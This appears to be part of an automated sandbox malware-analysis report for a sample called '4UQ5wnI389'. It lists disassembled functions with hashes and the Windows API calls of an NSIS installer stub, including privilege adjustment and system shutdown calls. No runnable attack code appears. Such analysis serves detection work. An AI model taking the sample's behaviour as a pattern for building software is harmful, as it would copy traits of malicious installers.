Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba19c0f26efe5298c1fef94d94b1feb89dfd0043257c31c30784c5376e784f55
Instruction ID: d5cde2e88e410597af73b1a88c2b75291c87587a487b2a378ef378e8085fe642
Opcode Fuzzy Hash: ba19c0f26efe5298c1fef94d94b1feb89dfd0043257c31c30784c5376e784f55
Instruction Fuzzy Hash: AA118B307006018FD724CF7ED48195AB7F6EF8965470582AAE40ACB722EB30ED46DB81

Function 37B1EBD4 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1438829781cfdda0c7b9eadf631433a5ab3bd07786f34ce7ee45ab68a199fb
Instruction ID: 17e33b94193045bfbd775c1824744727d89bc1a17ea534793e9c2f12cebd6e43
Opcode Fuzzy Hash: 7a1438829781cfdda0c7b9eadf631433a5ab3bd07786f34ce7ee45ab68a199fb
Instruction Fuzzy Hash: 280169707006018FE314DF7ED48195AB3F6EFC9654305856AE00ACB722DB30EC46DB81

Function 0015B2F0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0cb3713b53bb42a5b88a9c3cd08c9575af9bf3d50b8de2ac51c24c957e70719
Instruction ID: 835b339b219f95404c3c76dc7e23864bd08eab653b8394e270de3f2a87e7e156
Opcode Fuzzy Hash: a0cb3713b53bb42a5b88a9c3cd08c9575af9bf3d50b8de2ac51c24c957e70719
Instruction Fuzzy Hash: ED01D632B042118FDB249F7A585463E77EBBFC46653148439D909DB220FF75CC444690

Function 37B1CE51 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fd8e7126cf3cd566136889b2f10f31c8e962307e6df39af9574cb8e831a3414
Instruction ID: 00157a524c9c5be71d5a6997f02845a350a545f65a14fe81ed63ad779bab5725
Opcode Fuzzy Hash: 2fd8e7126cf3cd566136889b2f10f31c8e962307e6df39af9574cb8e831a3414
Instruction Fuzzy Hash: 0C01B8349016488FEB00DFA4D8102EDBBF1EB8B302F60A139C811B7321EB355806CB91

Function 00158D19 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e365bdedef0176dc6e1b5bdfdff8b6d039063991a2778749ad8d02a17a3c8db
Instruction ID: bee9a312835a8284908a1e4f9d01a43c46c594f8c441c8bafa8e1a59d7878939
Opcode Fuzzy Hash: 5e365bdedef0176dc6e1b5bdfdff8b6d039063991a2778749ad8d02a17a3c8db
Instruction Fuzzy Hash: C2F0AF35300214AFDB081AEA9854A7A7ADBEBC83A1B048469FD49CB390DF71CC4143A0

Function 0015FC3F Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42b3319982102fa6b55672382b5c973b8aa302378897159b0bd2da96e5a4e18e
Instruction ID: 7d6bd0eaefd72bf8e06860594646defb01efb441099d29646f0c18bd08866309
Opcode Fuzzy Hash: 42b3319982102fa6b55672382b5c973b8aa302378897159b0bd2da96e5a4e18e
Instruction Fuzzy Hash: C701AD31900248CFDB04CFA1D8046E9BBB2EB8A301F001438DA107A250CB325D4ACF96

Function 37B1962C Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aad8842c578e977dd766a02deee618ea57fa527efac7d8611a276c73f19a6598
Instruction ID: f3d008b94715c146f170cd9be882039edfa80e531ec621008c722e58f9c80def
Opcode Fuzzy Hash: aad8842c578e977dd766a02deee618ea57fa527efac7d8611a276c73f19a6598
Instruction Fuzzy Hash: 05F028B0E047189FEB10CFA4C8447AF7BB1FB88360F10452AE40A97641DB35A445CB92

Function 37B1CE60 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8755bbf5da75ae5bdcc552f25917b8b7dbadc6938c37601012be9ee7bbe0ce64
Instruction ID: 75ed1f98a7d6fc6d980bbb105d3fd119ce50bdf3e6684d8fdb4222d803395d3e
Opcode Fuzzy Hash: 8755bbf5da75ae5bdcc552f25917b8b7dbadc6938c37601012be9ee7bbe0ce64
Instruction Fuzzy Hash: 45F08735D01248CFEB04DFA9D8546EDBBF2EB8B301F60A429C404B3260EB39A801CB54

Function 37B1D4C9 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66b3245dc47691b3a6f7af73e924099f6c54d0b55760f4af2a340bd032a33cb9
Instruction ID: 3f5b64d6284716de02a0de266eb840ffc5ffde61bf177016b57c6937a43212f6
Opcode Fuzzy Hash: 66b3245dc47691b3a6f7af73e924099f6c54d0b55760f4af2a340bd032a33cb9
Instruction Fuzzy Hash: 42F027203583451BE30526BD1812F6B3B6A9BC7994B05407AE501DB281DE649C0543F3

Function 37B1964C Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 695431939afbe2c85ca0bf0493231ddcf63f88534ab36bb9b40ea8d89a40d441
Instruction ID: cc1f42acac356cafaaf6e65d468e5299455504867405d4dd0c9e022cae9d4bf0
Opcode Fuzzy Hash: 695431939afbe2c85ca0bf0493231ddcf63f88534ab36bb9b40ea8d89a40d441
Instruction Fuzzy Hash: A7F0A02035030527F20866FD6855B6B22AAAFC5A95F008436E505E7740DF949C0207F3

Function 0015B158 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf081cfa5802cbc2d6897cbc50f34bfe47463140b2562de18e78b0d6428077c
Instruction ID: 18ee786d96493c3c118a7c1aa7983759c5c1f1cea4f254b6d958ca678d91c597
Opcode Fuzzy Hash: 5cf081cfa5802cbc2d6897cbc50f34bfe47463140b2562de18e78b0d6428077c
Instruction Fuzzy Hash: 83F0D435419F828FE3012B30ACAC26A7FB0FF0B3137856D95E05A86072DB694449CB11

Function 0015FE10 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 046a0b7fc9cf36276b5a72b0dcbd7fdf392a66229dd54bd3656f9bcf3e8bf0d7
Instruction ID: 4ed0fd38024c2faf2886b5c510588991933739e5de1e555902b80093959d9a74
Opcode Fuzzy Hash: 046a0b7fc9cf36276b5a72b0dcbd7fdf392a66229dd54bd3656f9bcf3e8bf0d7
Instruction Fuzzy Hash: E8F08C34D04208DFCB04DFB8D44928CBBB6EB05301F6080B9C829A3250E7314A46DF40

Function 00151877 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00dd73fe2c82ab6956528cbb347d8223a53760fb6e77f6dfd8e1377fcce4be09
Instruction ID: d4a6fb3f49bde6ac23e2ca427d60b7bb62fbb0b04912ea3b9efb6b23c617e814
Opcode Fuzzy Hash: 00dd73fe2c82ab6956528cbb347d8223a53760fb6e77f6dfd8e1377fcce4be09
Instruction Fuzzy Hash: FDE0DF31E163A68EC7039BB09C044EEBF30EE93220B4642EBD050BB052EB311A4DC7B0

Function 0015FE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81d66a37e5204f6fd7e2f2f237e4045c378d4378581da6e816796ed8d49094d9
Instruction ID: 9e273d6258d334fdc3147778ea715ee069f42e3664029ef5be4d5c88e434d04a
Opcode Fuzzy Hash: 81d66a37e5204f6fd7e2f2f237e4045c378d4378581da6e816796ed8d49094d9
Instruction Fuzzy Hash: 86E01274D04208DFDB04DFB9D54969DBBF5EB49306F6041B9D814A3350E7705E45DB41

Function 00151888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d32c0397a96d279837540d045c9439c77998e4c900890a6fb04ea73fb73291d
Instruction ID: cadcff72579d7f552519d570ba00b008b5b76ef7f05123bd900fe4f392f2191d
Opcode Fuzzy Hash: 7d32c0397a96d279837540d045c9439c77998e4c900890a6fb04ea73fb73291d
Instruction Fuzzy Hash: CED05E32E2022B97CB00EBA5EC048EFF738EED6661B908626D52537140FB713659C7E1

Function 001556FF Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35b4d8ed3fb74d59a1d8ea6b6e512cf74db752f79c81fef4ef1892fa45922b7b
Instruction ID: 62080220d4702a3d9e17cc7ec76e22d306d23d71ba88138ea41742895b1737e1
Opcode Fuzzy Hash: 35b4d8ed3fb74d59a1d8ea6b6e512cf74db752f79c81fef4ef1892fa45922b7b
Instruction Fuzzy Hash: B5E086350083884FCF1297B4FC945C93B226B81108F004565D4091B66ADF74178A8B92

Function 00157EC0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 9968b1f7b0fc0b7bf7e049fa17098cae9ca96013ffba795bad1e7fd54a298b3b
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: F4C0123310C1286A9224504E7C469A3A74CC2C13B5A210177F93D8724054425C4411B4

Function 0015FF21 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56708594aaed229b15a42b2d266b04d183a0ceb1f69b587f3e7cd930992c5bde
Instruction ID: 1e6563ccba90ed8e9f3611743c516737a173905cb4b4f728ade9b2865aadaf9f
Opcode Fuzzy Hash: 56708594aaed229b15a42b2d266b04d183a0ceb1f69b587f3e7cd930992c5bde
Instruction Fuzzy Hash: D2D02B71809288EFDB10CB648809BE8FB7CAB43212F0400EDD41833101C7B00E14C389

Function 37B1CF31 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f67a16c8edc4780d5d872421d744b36b336fa74c2a3a2141288efff0a63f824
Instruction ID: a49b0d4513ae75c31e39da14c21a1fcfa162299b027a0c0ab4413b1fe6f5b3f4
Opcode Fuzzy Hash: 6f67a16c8edc4780d5d872421d744b36b336fa74c2a3a2141288efff0a63f824
Instruction Fuzzy Hash: B6D0A73119C7C44FC702873098644C03FB0AF4320574452EAD886CFF73C155581AC703

Function 37B1D49D Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19d2fb631e864dc3bb9f2fd60bda8bce069e4e7c33d8939080ce5e8cc7ac675f
Instruction ID: 172dbbb7d98d7f5a29088f6f021de82aa9641fb5502d9e37e70d487c6155b766
Opcode Fuzzy Hash: 19d2fb631e864dc3bb9f2fd60bda8bce069e4e7c33d8939080ce5e8cc7ac675f
Instruction Fuzzy Hash: DFD0A77260C6E01FE727522D7820CDFBFB94DC621070846BBD488CB58ADA441A4943D6

Function 00159F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 220f78ef50b95c6a7a03734f48a239c6525b78eab23ba8a3e058c45dfd5e5dfa
Instruction ID: bad20c98239991be866e451e809097f8c963282db57b99d0f2739875ef20eb8d
Opcode Fuzzy Hash: 220f78ef50b95c6a7a03734f48a239c6525b78eab23ba8a3e058c45dfd5e5dfa
Instruction Fuzzy Hash: 61D0677BB40008AFCB149F98EC80ADDF776FB98221B548116E915A3260C73199A5DB60

Function 0015FFB0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 858b127327e0aa61317c2226d6bd7bf9741786c781b1493685d427da15f68e1d
Instruction ID: b2850c55a765eb626bd0c1d6f6525b38ae65faedf2b7d39459bc115d28d938bd
Opcode Fuzzy Hash: 858b127327e0aa61317c2226d6bd7bf9741786c781b1493685d427da15f68e1d
Instruction Fuzzy Hash: 43D0A93A24C746AFCB078F30881088BFF639FD3200B0484AFE8804E3B1C2208C1A8393

Function 0015FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9dc4f192a2a4500c9723c98c310b57e4d73e922963faa9b5bfdcdb83412a27c
Instruction ID: b5a9394a964c34451eb409367f9e036e8fb3479e7b60ff4ee491c6df2b2099ed
Opcode Fuzzy Hash: d9dc4f192a2a4500c9723c98c310b57e4d73e922963faa9b5bfdcdb83412a27c
Instruction Fuzzy Hash: 94D0A931801208DFD704DBA0D809BA9B7BCAB03206F0000AC9918632108BB00D00C689

Function 37B1961C Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cce289496120a33dc6b04be534c4d81c02d67090f28e2ba5e90f72b82c986dec
Instruction ID: a97979f1f79b1663a93b84c9235eaa2b154233a6a6fe556af6ad497f94abcedb
Opcode Fuzzy Hash: cce289496120a33dc6b04be534c4d81c02d67090f28e2ba5e90f72b82c986dec
Instruction Fuzzy Hash: 3FC080322047A117671452BCB840BDE53B59DC5651710CA77F405D3104DE587D4641DA

Function 37B1BD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 439307bb7ea31853e234b37baca11b0584a9f97345150a94e7169531056c5b6c
Instruction ID: e5be1a9bc5845666ede0ba6e51cb65f371f827e9e7dea4f2911b890d428171df
Opcode Fuzzy Hash: 439307bb7ea31853e234b37baca11b0584a9f97345150a94e7169531056c5b6c
Instruction Fuzzy Hash: 75C012B5000E098BF6082B50AC0CB3AB6B8B707323FC82910A008128308BB854148A48

Function 00155710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eff673a47a20a4f249def1db879f3c32a2c397405762396f868e255645d2fa0
Instruction ID: 0e8c80baa9ae841313e8aea505793e5aaa33274bc1e41ad82cf41712b58b64a2
Opcode Fuzzy Hash: 9eff673a47a20a4f249def1db879f3c32a2c397405762396f868e255645d2fa0
Instruction Fuzzy Hash: 7EC0123101435C4BDD01F7F9FC459D5732A77C05047409520A4091666AEFB42ADA4BD1

Function 37B19544 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dce0e968077c9ee9822fe4543bb0caea2e768ab9fb76e940ce900bcc16c5fee9
Instruction ID: b954b0c5c6a332145c0d6cf970288464ef30272d3cc3feaf135aca8c2d560034
Opcode Fuzzy Hash: dce0e968077c9ee9822fe4543bb0caea2e768ab9fb76e940ce900bcc16c5fee9
Instruction Fuzzy Hash: 68C04C302687088FF240AA6DD995B5533BCFF85B04F5058E1F5089B665CB66FC044645

Non-executed Functions

Function 004034A5 Relevance: 75.7, APIs: 32, Strings: 11, Instructions: 410stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,00437800,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(00437800,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,00437800,00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(00437800,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,00437800,00437800,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,00437800,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNEL32(00437000,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(00437800,0040A328,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(00437800,00436800,00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(00437800,00437800,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(00438800,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

Error launching installer, xrefs: 004037D0
\Temp, xrefs: 004036FF
TEMP, xrefs: 0040372D
NSIS Error, xrefs: 00403567
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
Low, xrefs: 0040371B
~nsu, xrefs: 00403845
TMP, xrefs: 00403735
SeShutdownPrivilege, xrefs: 0040396F
.tmp, xrefs: 00403861

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-334447862
Opcode ID: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

, xrefs: 00405385
N, xrefs: 00405057
M, xrefs: 00404F76

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
